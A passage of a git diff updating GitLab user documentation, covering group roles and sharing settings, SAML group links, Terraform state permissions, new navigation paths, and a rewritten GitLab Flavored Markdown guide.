- 1. Have the new owner sign in and remove **Owner** permissions from you.
+ 1. Give a different member the **Owner** role.
+ 1. Have the new owner sign in and remove the **Owner** role from you.
## Remove a member from the group
Prerequisites:
-- You must have [Owner permissions](../permissions.md#group-members-permissions).
+- You must have the [Owner role](../permissions.md#group-members-permissions).
- The member must have direct membership in the group. If
membership is inherited from a parent group, then the member can be removed
from the parent group only.
@@ -245,9 +250,10 @@ These Group Activity Analytics can be enabled with the `group_activity_analytics
You can view the most recent actions taken in a group.
-1. From the top menu, select **Groups > Your Groups**.
+1. On the top bar, select **Menu > Groups**.
+1. Select **Your Groups**.
1. Find the group and select it.
-1. From the left menu, select **Group overview > Activity**.
+1. On the left sidebar, select **Group information > Activity**.
To view the activity feed in Atom format, select the
**RSS** (**{rss}**) icon.
@@ -270,7 +276,7 @@ To share a given group, for example, `Frontend` with another group, for example,
1. From the left menu, select **Members**.
1. Select the **Invite group** tab.
1. In the **Select a group to invite** list, select `Engineering`.
-1. For the **Max access level**, select an access level.
+1. For the **Max role**, select a [role](../permissions.md).
1. Select **Invite**.
All the members of the `Engineering` group are added to the `Frontend` group.
@@ -292,7 +298,7 @@ To share a group after enabling this feature:
1. Go to your group's page.
1. In the left sidebar, go to **Members**, and then select **Invite a group**.
-1. Select a group, and select a **Max access level**.
+1. Select a group, and select a **Max role**.
1. (Optional) Select an **Access expiration date**.
1. Select **Invite**.
@@ -351,7 +357,7 @@ You can transfer groups in the following ways:
When transferring groups, note:
-- Changing a group's parent can have unintended side effects. See [Redirects when changing repository paths](../project/repository/index.md#redirects-when-changing-repository-paths).
+- Changing a group's parent can have unintended side effects. See [what happens when a repository path changes](../project/repository/index.md#what-happens-when-a-repository-path-changes).
- You can only transfer groups to groups you manage.
- You must update your local repositories to point to the new location.
- If the immediate parent group's visibility is lower than the group's current visibility, visibility levels for subgroups and projects change to match the new parent group's visibility.
@@ -361,7 +367,7 @@ When transferring groups, note:
## Change a group's path
Changing a group's path (group URL) can have unintended side effects. Read
-[how redirects behave](../project/repository/index.md#redirects-when-changing-repository-paths)
+[how redirects behave](../project/repository/index.md#what-happens-when-a-repository-path-changes)
before you proceed.
If you are changing the path so it can be claimed by another group or user,
@@ -419,6 +425,30 @@ To restore a group that is marked for deletion:
1. Expand the **Path, transfer, remove** section.
1. In the Restore group section, select **Restore group**.
+## Prevent group sharing outside the group hierarchy
+
+This setting is only available on top-level groups. It affects all subgroups.
+
+When checked, any group within the top-level group hierarchy can be shared only with other groups within the hierarchy.
+
+For example, with these groups:
+
+- **Animals > Dogs**
+- **Animals > Cats**
+- **Plants > Trees**
+
+If you select this setting in the **Animals** group:
+
+- **Dogs** can be shared with **Cats**.
+- **Dogs** cannot be shared with **Trees**.
+
+To prevent sharing outside of the group's hierarchy:
+
+1. Go to the group's **Settings > General** page.
+1. Expand the **Permissions, LFS, 2FA** section.
+1. Select **Prevent members from sending invitations to groups outside of `<group_name>` and its subgroups**.
+1. Select **Save changes**.
+
## Prevent a project from being shared with groups
Prevent projects in a group from [sharing
diff --git a/doc/user/group/insights/index.md b/doc/user/group/insights/index.md
index 4975b27a66d..18177d656ab 100644
--- a/doc/user/group/insights/index.md
+++ b/doc/user/group/insights/index.md
@@ -28,7 +28,7 @@ the project that holds your `.gitlab/insights.yml` configuration file:
![group insights configuration](img/insights_group_configuration.png)
If no configuration was set, a [default configuration file](
-https://gitlab.com/gitlab-org/gitlab/blob/master/ee/fixtures/insights/default.yml)
+https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/fixtures/insights/default.yml)
will be used.
See the [Project's Insights documentation](../../project/insights/index.md) for
diff --git a/doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.png b/doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.png
index 5994cbfa401..2e19aa38412 100644
--- a/doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.png
+++ b/doc/user/group/issues_analytics/img/issues_created_per_month_v12_8_a.png
Binary files differ
diff --git a/doc/user/group/repositories_analytics/index.md b/doc/user/group/repositories_analytics/index.md
index ef47ceadd88..b9f94d96b48 100644
--- a/doc/user/group/repositories_analytics/index.md
+++ b/doc/user/group/repositories_analytics/index.md
@@ -69,7 +69,9 @@ For each day that a coverage report was generated by a job in a project's pipeli
If the project's code coverage was calculated more than once in a day, we will take the last value from that day.
NOTE:
-[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage data is taken from the configured [default branch](../../project/repository/branches/default.md). In earlier versions, it is taken from the `master` branch.
+[In GitLab 13.7 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/270102), group code coverage
+data is taken from the configured [default branch](../../project/repository/branches/default.md).
+In earlier versions, it is taken from the `master` branch.
<!-- ## Troubleshooting
diff --git a/doc/user/group/saml_sso/img/member_enterprise_badge_v14_0.png b/doc/user/group/saml_sso/img/member_enterprise_badge_v14_0.png
new file mode 100644
index 00000000000..f9534b14a51
--- /dev/null
+++ b/doc/user/group/saml_sso/img/member_enterprise_badge_v14_0.png
Binary files differ
diff --git a/doc/user/group/saml_sso/img/saml_group_links_v13_9.png b/doc/user/group/saml_sso/img/saml_group_links_v13_9.png
new file mode 100644
index 00000000000..9bd2473f90c
--- /dev/null
+++ b/doc/user/group/saml_sso/img/saml_group_links_v13_9.png
Binary files differ
diff --git a/doc/user/group/saml_sso/index.md b/doc/user/group/saml_sso/index.md
index 1864547c57f..8a5cdb79186 100644
--- a/doc/user/group/saml_sso/index.md
+++ b/doc/user/group/saml_sso/index.md
@@ -152,6 +152,10 @@ We recommend:
- **Unique User Identifier (Name identifier)** set to `user.objectID`.
- **nameid-format** set to persistent.
+If using [Group Sync](#group-sync), customize the name of the group claim to match the required attribute.
+
+See the [troubleshooting page](../../../administration/troubleshooting/group_saml_scim.md#azure-active-directory) for an example configuration.
+
### Okta setup notes
Please follow the Okta documentation on [setting up a SAML application in Okta](https://developer.okta.com/docs/guides/build-sso-integration/saml2/overview/) with the notes below for consideration.
@@ -324,18 +328,23 @@ Ensure your SAML identity provider sends an attribute statement named `Groups` o
</saml:AttributeStatement>
```
+NOTE:
+To inspect the SAML response, you can use one of these [SAML debugging tools](#saml-debugging-tools).
+Also note that the value for `Groups` or `groups` in the SAML reponse can be either the group name or
+the group ID depending what the IdP sends to GitLab.
+
When SAML SSO is enabled for the top-level group, `Maintainer` and `Owner` level users
-see a new menu item in group **Settings > SAML Group Links**. Each group (parent or subgroup) can specify
-one or more group links to map a SAML identity provider group name to a GitLab access level.
+see a new menu item in group **Settings > SAML Group Links**. You can configure one or more **SAML Group Links** to map
+a SAML identity provider group name to a GitLab Access Level. This can be done for the parent group or the subgroups.
-To link the SAML `Freelancers` group in the attribute statement example above:
+To link the SAML groups from the `saml:AttributeStatement` example above:
-1. Enter `Freelancers` in the `SAML Group Name` field.
+1. Enter the value of `saml:AttributeValue` in the `SAML Group Name` field.
1. Choose the desired `Access Level`.
1. **Save** the group link.
1. Repeat to add additional group links if desired.
-![SAML Group Links](img/saml_group_links_v13_6.png)
+![SAML Group Links](img/saml_group_links_v13_9.png)
If a user is a member of multiple SAML groups mapped to the same GitLab group,
the user gets the highest access level from the groups. For example, if one group
@@ -450,7 +459,7 @@ SAML configuration for GitLab.com is mostly the same as for self-managed instanc
However, self-managed GitLab instances use a configuration file that supports more options as described in the external [OmniAuth SAML documentation](https://github.com/omniauth/omniauth-saml/).
Internally that uses the [`ruby-saml` library](https://github.com/onelogin/ruby-saml), so we sometimes check there to verify low level details of less commonly used options.
-It can also help to compare the XML response from your provider with our [example XML used for internal testing](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/spec/fixtures/saml/response.xml).
+It can also help to compare the XML response from your provider with our [example XML used for internal testing](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/spec/fixtures/saml/response.xml).
### Searching Rails log
diff --git a/doc/user/group/saml_sso/scim_setup.md b/doc/user/group/saml_sso/scim_setup.md
index 65b3e2d095d..fd75c49fa6c 100644
--- a/doc/user/group/saml_sso/scim_setup.md
+++ b/doc/user/group/saml_sso/scim_setup.md
@@ -175,6 +175,10 @@ We recommend users do this prior to turning on sync, because while synchronizati
New users and existing users on subsequent visits can access the group through the identify provider's dashboard or by visiting links directly.
+[In GitLab 14.0 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/325712), GitLab users created with a SCIM identity display with an **Enterprise** badge in the **Members** view.
+
+![Enterprise badge for users created with a SCIM identity](img/member_enterprise_badge_v14_0.png)
+
For role information, please see the [Group SAML page](index.md#user-access-and-management)
### Blocking access
diff --git a/doc/user/group/settings/import_export.md b/doc/user/group/settings/import_export.md
index 5d375e2abd9..c097790ef16 100644
--- a/doc/user/group/settings/import_export.md
+++ b/doc/user/group/settings/import_export.md
@@ -4,7 +4,7 @@ stage: Manage
group: Import
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Group Import/Export
+# Group import/export **(FREE)**
> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2888) in GitLab 13.0 as an experimental feature. May change in future releases.
@@ -21,9 +21,9 @@ See also:
To enable GitLab import/export:
-1. Navigate to **Admin Area > Settings > Visibility and access controls**.
-1. Scroll to **Import sources**
-1. Enable desired **Import sources**
+1. On the top bar, go to **Menu > Admin > Settings > General > Visibility and access controls**.
+1. Scroll to **Import sources**.
+1. Enable the desired **Import sources**.
## Important Notes
@@ -58,7 +58,7 @@ The following items are **not** exported:
NOTE:
For more details on the specific data persisted in a group export, see the
-[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/import_export/group/import_export.yml) file.
+[`import_export.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/import_export/group/import_export.yml) file.
## Exporting a Group
diff --git a/doc/user/group/subgroups/index.md b/doc/user/group/subgroups/index.md
index df0d297a82a..4532a391eef 100644
--- a/doc/user/group/subgroups/index.md
+++ b/doc/user/group/subgroups/index.md
@@ -67,8 +67,6 @@ Another example of GitLab as a company would be the following:
- (project) Chef cookbooks
- Category Subgroup - Executive team
----
-
When performing actions such as transferring or importing a project between
subgroups, the behavior is the same as when performing these actions at the
`group/project` level.
@@ -85,13 +83,20 @@ By default, groups created in:
The setting can be changed for any group by:
-- A group owner. Select the group, and navigate to **Settings > General > Permissions, LFS, 2FA**.
-- An administrator. Navigate to **Admin Area > Overview > Groups**, select the group, and choose **Edit**.
+- A group owner:
+ 1. Select the group.
+ 1. On the left sidebar, select **Settings > General**.
+ 1. Expand the **Permissions, LFS, 2FA** section.
+- An administrator:
+ 1. On the top bar, select **Menu >** **{admin}** **Admin**.
+ 1. On the left sidebar, select **Overview > Groups**.
+ 1. Select the group, and select **Edit**.
+
+For:
-For more information check the
-[permissions table](../../permissions.md#group-members-permissions). For a list
-of words that are not allowed to be used as group names see the
-[reserved names](../../reserved_names.md).
+- More information, check the [permissions table](../../permissions.md#group-members-permissions).
+- A list of words that are not allowed to be used as group names, see the
+ [reserved names](../../reserved_names.md).
Users can always create subgroups if they are explicitly added as an Owner (or
Maintainer, if that setting is enabled) to an immediate parent group, even if group
@@ -163,7 +168,7 @@ added to), add the user to the new subgroup again with a higher set of permissio
For example, if User 1 was first added to group `one/two` with Developer
permissions, then they inherit those permissions in every other subgroup
-of `one/two`. To give them Maintainer access to group `one/two/three/four`,
+of `one/two`. To give them the [Maintainer role](../../permissions.md) for group `one/two/three/four`,
you would add them again in that group as Maintainer. Removing them from that group,
the permissions fall back to those of the ancestor group.
diff --git a/doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.png b/doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.png
index c02f259ae8c..ef532986100 100644
--- a/doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.png
+++ b/doc/user/group/value_stream_analytics/img/delete_value_stream_v13_12.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.png b/doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.png
index b2b6ce04a14..d64ec31aabf 100644
--- a/doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.png
+++ b/doc/user/group/value_stream_analytics/img/new_value_stream_v13_12.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.png b/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.png
index ee0d007a778..834556df051 100644
--- a/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.png
+++ b/doc/user/group/value_stream_analytics/img/vsa_filter_bar_v13_12.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.png b/doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.png
index 1f47670462c..648ab53dd12 100644
--- a/doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.png
+++ b/doc/user/group/value_stream_analytics/img/vsa_label_based_stage_v14_0.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.png b/doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.png
index 7d47003972c..8d77c53db7f 100644
--- a/doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.png
+++ b/doc/user/group/value_stream_analytics/img/vsa_overview_stage_v13_11.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.png b/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.png
index 63bae51afef..68d9741bed8 100644
--- a/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.png
+++ b/doc/user/group/value_stream_analytics/img/vsa_time_metrics_v13_12.png
Binary files differ
diff --git a/doc/user/group/value_stream_analytics/index.md b/doc/user/group/value_stream_analytics/index.md
index 4b473c9217d..c1dd363c313 100644
--- a/doc/user/group/value_stream_analytics/index.md
+++ b/doc/user/group/value_stream_analytics/index.md
@@ -65,7 +65,7 @@ To filter results:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 12.4.
-GitLab provides the ability to filter analytics based on a date range. To filter results:
+GitLab provides the ability to filter analytics based on a date range. Data is shown for workflow items created during the selected date range. To filter results:
1. Select a group.
1. Optionally select a project.
@@ -104,7 +104,7 @@ Each stage of Value Stream Analytics is further described in the table below.
| **Stage** | **Description** |
| --------- | --------------- |
-| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label will be tracked only if it already has an [Issue Board list](../../project/issue_board.md) created for it. |
+| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label is tracked only if it already has an [Issue Board list](../../project/issue_board.md) created for it. |
| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. The very first commit of the branch is the one that triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch needs to contain the related issue number (e.g., `#42`). If none of the commits in the branch mention the related issue number, it is not considered to the measurement time of the stage. |
| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR) related to that commit. The key to keep the process tracked is to include the [issue closing pattern](../../project/issues/managing_issues.md#closing-issues-automatically) to the description of the merge request (for example, `Closes #xxx`, where `xxx` is the number of the issue related to this merge request). If the closing pattern is not present, then the calculation takes the creation time of the first commit in the merge request as the start time. |
| Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. |
diff --git a/doc/user/img/completed_tasks_v13_3.png b/doc/user/img/completed_tasks_v13_3.png
index 31e051852cb..b12d95f0a23 100644
--- a/doc/user/img/completed_tasks_v13_3.png
+++ b/doc/user/img/completed_tasks_v13_3.png
Binary files differ
diff --git a/doc/user/infrastructure/index.md b/doc/user/infrastructure/index.md
index b202359847c..05ffab93f85 100644
--- a/doc/user/infrastructure/index.md
+++ b/doc/user/infrastructure/index.md
@@ -20,7 +20,7 @@ for GitLab versions 13.5 and later:
```yaml
include:
- - template: Terraform.latest.gitlab-ci.yml
+ - template: Terraform.gitlab-ci.yml
variables:
# If not using GitLab's HTTP backend, remove this line and specify TF_HTTP_* variables
@@ -30,15 +30,14 @@ variables:
# TF_ROOT: terraform/production
```
-This template uses `.latest.`, instead of stable, and may include breaking changes.
-This template also includes some opinionated decisions, which you can override:
+This template includes some opinionated decisions, which you can override:
- Including the latest [GitLab Terraform Image](https://gitlab.com/gitlab-org/terraform-images).
- Using the [GitLab managed Terraform State](#gitlab-managed-terraform-state) as
the Terraform state storage backend.
-- Creating [four pipeline stages](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.latest.gitlab-ci.yml):
+- Creating [four pipeline stages](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform.gitlab-ci.yml):
`init`, `validate`, `build`, and `deploy`. These stages
- [run the Terraform commands](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml)
+ [run the Terraform commands](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.gitlab-ci.yml)
`init`, `validate`, `plan`, `plan-json`, and `apply`. The `apply` command only runs on `master`.
This video from January 2021 walks you through all the GitLab Terraform integration features:
@@ -74,6 +73,12 @@ Neither Terraform nor GitLab encrypts the plan file by default. If your Terrafor
includes sensitive data such as passwords, access tokens, or certificates, GitLab strongly
recommends encrypting plan output or modifying the project visibility settings.
+## Terraform module registry
+
+GitLab can be used as a [Terraform module registry](../packages/terraform_module_registry/index.md)
+to create and publish Terraform modules to a private registry specific to your
+top-level namespace.
+
## Terraform integration in Merge Requests
Collaborating around Infrastructure as Code (IaC) changes requires both code changes
diff --git a/doc/user/infrastructure/terraform_state.md b/doc/user/infrastructure/terraform_state.md
index 2cd5ed8ac78..0b92ea46338 100644
--- a/doc/user/infrastructure/terraform_state.md
+++ b/doc/user/infrastructure/terraform_state.md
@@ -28,10 +28,10 @@ before using this feature.
## Permissions for using Terraform
-In GitLab version 13.1, [Maintainer access](../permissions.md) was required to use a
-GitLab managed Terraform state backend. In GitLab versions 13.2 and greater,
-[Maintainer access](../permissions.md) is required to lock, unlock and write to the state
-(using `terraform apply`), while [Developer access](../permissions.md) is required to read
+In GitLab version 13.1, the [Maintainer role](../permissions.md) was required to use a
+GitLab managed Terraform state backend. In GitLab versions 13.2 and greater, the
+[Maintainer role](../permissions.md) is required to lock, unlock, and write to the state
+(using `terraform apply`), while the [Developer role](../permissions.md) is required to read
the state (using `terraform plan -lock=false`).
## Set up GitLab-managed Terraform state
@@ -41,7 +41,8 @@ To get started with a GitLab-managed Terraform state, there are two different op
- [Use a local machine](#get-started-using-local-development).
- [Use GitLab CI](#get-started-using-gitlab-ci).
-Terraform States can be found by navigating to a Project's **{cloud-gear}** **Operations > Terraform** page.
+Terraform States can be found by navigating to a Project's
+**{cloud-gear}** **Infrastructure > Terraform** page.
### Get started using local development
@@ -351,8 +352,8 @@ location. You can then go back to running it in GitLab CI/CD.
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/273592) in GitLab 13.8.
Users with Developer and greater [permissions](../permissions.md) can view the
-state files attached to a project at **Operations > Terraform**. Users with
-Maintainer permissions can perform commands on the state files. The user interface
+state files attached to a project at **Infrastructure > Terraform**. Users with the
+Maintainer role can perform commands on the state files. The user interface
contains these fields:
![Terraform state list](img/terraform_list_view_v13_8.png)
@@ -376,7 +377,7 @@ are planned.
Users with Maintainer and greater [permissions](../permissions.md) can use the
following options to remove a state file:
-- **GitLab UI**: Go to **Operations > Terraform**. In the **Actions** column,
+- **GitLab UI**: Go to **Infrastructure > Terraform**. In the **Actions** column,
click the vertical ellipsis (**{ellipsis_v}**) button and select
**Remove state file and versions**.
- **GitLab REST API**: You can remove a state file by making a request to the
diff --git a/doc/user/instance/clusters/index.md b/doc/user/instance/clusters/index.md
index 33366c658d7..24fabbc5a42 100644
--- a/doc/user/instance/clusters/index.md
+++ b/doc/user/instance/clusters/index.md
@@ -14,7 +14,10 @@ instance-level Kubernetes clusters allow you to connect a Kubernetes cluster to
the GitLab instance, which enables you to use the same cluster across multiple
projects.
-The instance level Kubernetes clusters can be found in the top menu by navigating to your instance's **{admin}** **Admin Area > Kubernetes**.
+To view the instance level Kubernetes clusters:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Kubernetes**.
## Cluster precedence
diff --git a/doc/user/markdown.md b/doc/user/markdown.md
index cbd5bf1553a..fdfd953e52a 100644
--- a/doc/user/markdown.md
+++ b/doc/user/markdown.md
@@ -5,25 +5,36 @@ info: "To determine the technical writer assigned to the Stage/Group associated
type: reference, howto
---
-# GitLab Markdown **(FREE)**
+# GitLab Flavored Markdown **(FREE)**
-This Markdown guide is **valid only for the GitLab internal Markdown rendering system for entries and files**.
-It is **not** valid for the [GitLab documentation website](https://docs.gitlab.com)
-or the [GitLab main website](https://about.gitlab.com), as they both use
-[Kramdown](https://kramdown.gettalong.org) as their Markdown engine. The documentation
-website uses an extended Kramdown gem, [GitLab Kramdown](https://gitlab.com/gitlab-org/gitlab_kramdown).
-Consult the [GitLab Kramdown Guide](https://about.gitlab.com/handbook/markdown-guide/)
-for a complete Kramdown reference.
+GitLab automatically renders Markdown content. For example, when you add a comment to an issue,
+you type the text in the Markdown language. When you save the issue, the text is rendered
+with a set of styles. These styles are described on this page.
-NOTE:
-We encourage you to view this document as [rendered by GitLab itself](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md).
+For example, in Markdown, an ordered list looks like this:
+
+```markdown
+- Cat
+- Dog
+- Turtle
+```
+
+When this list is rendered, it looks like this:
+
+- Cat
+- Dog
+- Turtle
+
+These styles are **valid for GitLab only**. The [GitLab documentation website](https://docs.gitlab.com)
+and the [main GitLab website](https://about.gitlab.com) use [Kramdown](https://kramdown.gettalong.org) instead.
-## GitLab Flavored Markdown
+You should not view this page in the documentation, but instead [view these styles as they appear on GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md).
-GitLab uses "GitLab Flavored Markdown". It extends the [CommonMark specification](https://spec.commonmark.org/current/)
-(which is based on standard Markdown) in several ways to add more features.
+GitLab Flavored Markdown extends the [CommonMark specification](https://spec.commonmark.org/current/).
It was inspired by [GitHub Flavored Markdown](https://docs.github.com/en/github/writing-on-github/basic-writing-and-formatting-syntax).
+## Where you can use GitLab Flavored Markdown
+
You can use GitLab Flavored Markdown in the following areas:
- Comments
@@ -33,86 +44,29 @@ You can use GitLab Flavored Markdown in the following areas:
- Snippets (the snippet must be named with a `.md` extension)
- Wiki pages
- Markdown documents inside repositories
-- Epics **(ULTIMATE)**
+- Epics
You can also use other rich text files in GitLab. You might have to install a dependency
-to do so. Please see the [`gitlab-markup` gem project](https://gitlab.com/gitlab-org/gitlab-markup)
-for more information.
-
-### Transition from Redcarpet to CommonMark
+to do so. For more information, see the [`gitlab-markup` gem project](https://gitlab.com/gitlab-org/gitlab-markup).
-- In GitLab version 11.8, the [Redcarpet Ruby library](https://github.com/vmg/redcarpet)
- was removed. All issues and comments, including those from pre-11.1, are now processed
- using the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker).
-- GitLab versions 11.3 and greater use CommonMark to process wiki pages and Markdown
- files (`*.md`) in repositories.
-- GitLab versions 11.1 and greater use the [CommonMark Ruby Library](https://github.com/gjtorikian/commonmarker)
- for Markdown processing of all new issues, merge requests, comments, and other Markdown
- content in the GitLab system.
+### Differences between GitLab Flavored Markdown and standard Markdown
-The documentation website migrated its Markdown engine
-[from Redcarpet to Kramdown](https://gitlab.com/gitlab-org/gitlab-docs/-/merge_requests/108)
-in October 2018.
+GitLab uses standard CommonMark formatting. However, GitLab Flavored Markdown
+extends standard Markdown with features made specifically for GitLab.
-You may have older issues, merge requests, or Markdown documents in your
-repository that relied upon nuances of the GitLab RedCarpet version
-of Markdown. Because CommonMark uses slightly stricter syntax, these documents
-may now appear differently after the transition to CommonMark.
-
-For example, numbered lists with nested lists may
-render incorrectly:
-
-```markdown
-1. Chocolate
- - dark
- - milk
-```
-
-To correct their rendering, add a space to each nested item to align the `-` with the first
-character of the top list item (`C` in this case):
-
-```markdown
-1. Chocolate
- - dark
- - milk
-```
-
-1. Chocolate
- - dark
- - milk
-
-We flag any significant differences between Redcarpet and CommonMark Markdown in this document.
-
-If you have many Markdown files, it can be tedious to determine
-if they display correctly or not. You can use the
-[`diff_redcarpet_cmark`](https://gitlab.com/digitalmoksha/diff_redcarpet_cmark)
-tool to generate a list of files and the
-differences between how RedCarpet and CommonMark render the files. It indicates
-if any changes are needed.
-
-`diff_redcarpet_cmark` is not an officially supported product.
+Features not found in standard Markdown:
-### GitLab Flavored Markdown extends standard Markdown
-
-GitLab makes full use of the standard (CommonMark) formatting, but also includes more
-helpful features for GitLab users.
-
-It makes use of [new Markdown features](#new-gitlab-flavored-markdown-extensions),
-not found in standard Markdown:
-
-- [Color chips written in HEX, RGB or HSL](#colors)
+- [Color chips written in `HEX`, `RGB` or `HSL`](#colors)
- [Diagrams and flowcharts](#diagrams-and-flowcharts)
-- [Emoji](#emoji)
+- [Emoji](#emojis)
- [Front matter](#front-matter)
- [Inline diffs](#inline-diff)
- [Math equations and symbols written in LaTeX](#math)
-- [Special GitLab references](#special-gitlab-references)
- [Task Lists](#task-lists)
- [Table of Contents](#table-of-contents)
- [Wiki specific Markdown](#wiki-specific-markdown)
-It also has [extended Markdown features](#standard-markdown-and-extensions-in-gitlab), without
-changing how standard Markdown is used:
+Features [extended from standard Markdown](#features-extended-from-standard-markdown):
| Standard Markdown | Extended Markdown in GitLab |
| ------------------------------------- | ------------------------- |
@@ -124,22 +78,23 @@ changing how standard Markdown is used:
| [line breaks](#line-breaks) | [more line break control](#newlines) |
| [links](#links) | [automatically linking URLs](#url-auto-linking) |
-## New GitLab Flavored Markdown extensions
+## Features not found in standard Markdown
+
+The following features are not found in standard Markdown.
### Colors
-If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#colors).
+[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#colors).
-It's possible to have color written in HEX, RGB, or HSL format rendered with a color
-indicator.
+You can write a color in the formats: `HEX`, `RGB`, or `HSL`.
-Supported formats (named colors are not supported):
+- `HEX`: `` `#RGB[A]` `` or `` `#RRGGBB[AA]` ``
+- `RGB`: `` `RGB[A](R, G, B[, A])` ``
+- `HSL`: `` `HSL[A](H, S, L[, A])` ``
-- HEX: `` `#RGB[A]` `` or `` `#RRGGBB[AA]` ``
-- RGB: `` `RGB[A](R, G, B[, A])` ``
-- HSL: `` `HSL[A](H, S, L[, A])` ``
+Named colors are not supported.
-Color written inside backticks is followed by a color "chip":
+Colors in backticks are followed by a color indicator:
```markdown
- `#F00`
@@ -165,8 +120,8 @@ Color written inside backticks is followed by a color "chip":
### Diagrams and flowcharts
-It's possible to generate diagrams and flowcharts from text in GitLab using [Mermaid](https://mermaidjs.github.io/) or [PlantUML](https://plantuml.com).
-It's also possible to use [Kroki](https://kroki.io) to create a wide variety of diagrams.
+You can generate diagrams and flowcharts from text by using [Mermaid](https://mermaidjs.github.io/) or [PlantUML](https://plantuml.com).
+You can also use [Kroki](https://kroki.io) to create a wide variety of diagrams.
#### Mermaid
@@ -197,7 +152,7 @@ graph TD;
C-->D;
```
-Subgraphs can also be included:
+You can also include subgraphs:
````markdown
```mermaid
@@ -237,16 +192,17 @@ end
#### PlantUML
-To make PlantUML available in GitLab, a GitLab administrator needs to enable it first. Read more in [PlantUML & GitLab](../administration/integration/plantuml.md).
+To make PlantUML available in GitLab, a GitLab administrator must enable it. For more information, see the
+[PlantUML & GitLab](../administration/integration/plantuml.md) page.
#### Kroki
-To make Kroki available in GitLab, a GitLab administrator needs to enable it first.
-Read more in the [Kroki integration](../administration/integration/kroki.md) page.
+To make Kroki available in GitLab, a GitLab administrator must enable it.
+For more information, see the [Kroki integration](../administration/integration/kroki.md) page.
-### Emoji
+### Emojis
-If this section isn't rendered correctly, [view it in GitLab](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/user/markdown.md#emoji).
+[View this topic in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/user/markdown.md#emojis).
```markdown
Sometimes you want to :monkey: around a bit and add some :star2: to your :speech_balloon:. Well we have a gift for you:
@@ -270,13 +226,13 @@ If you're new to this, don't be <img src="https://gitlab.com/gitlab-org/gitlab-f
Consult the [Emoji Cheat Sheet](https://www.webfx.com/tools/emoji-cheat-sheet/) for a list of all supported emoji codes. <img src="https://gitlab.com/gitlab-org/gitlab-foss/raw/master/app/assets/images/emoji/thumbsup.png" width="20px" height="20px" style="display:inline;margin:0;border: 0">
-#### Emoji and your OS
+#### Emojis and your operating system
-The emoji example above uses hard-coded images for this documentation. Rendered emoji
-in GitLab may appear different depending on the OS and browser used.
+The previous emoji example uses hard-coded images. Rendered emojis
+in GitLab may be different depending on the OS and browser used.
-Most emoji are natively supported on macOS, Windows, iOS, Android, and fall back on image-based
-emoji where there is no support.
+Most emojis are natively supported on macOS, Windows, iOS, Android, and fall back on image-based
+emojis where there is no support.
<!-- vale gitlab.Spelling = NO -->
@@ -291,17 +247,17 @@ this font installed by default.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23331) in GitLab 11.6.
Front matter is metadata included at the beginning of a Markdown document, preceding
-its content. This data can be used by static site generators such as [Jekyll](https://jekyllrb.com/docs/front-matter/),
+the content. This data can be used by static site generators like [Jekyll](https://jekyllrb.com/docs/front-matter/),
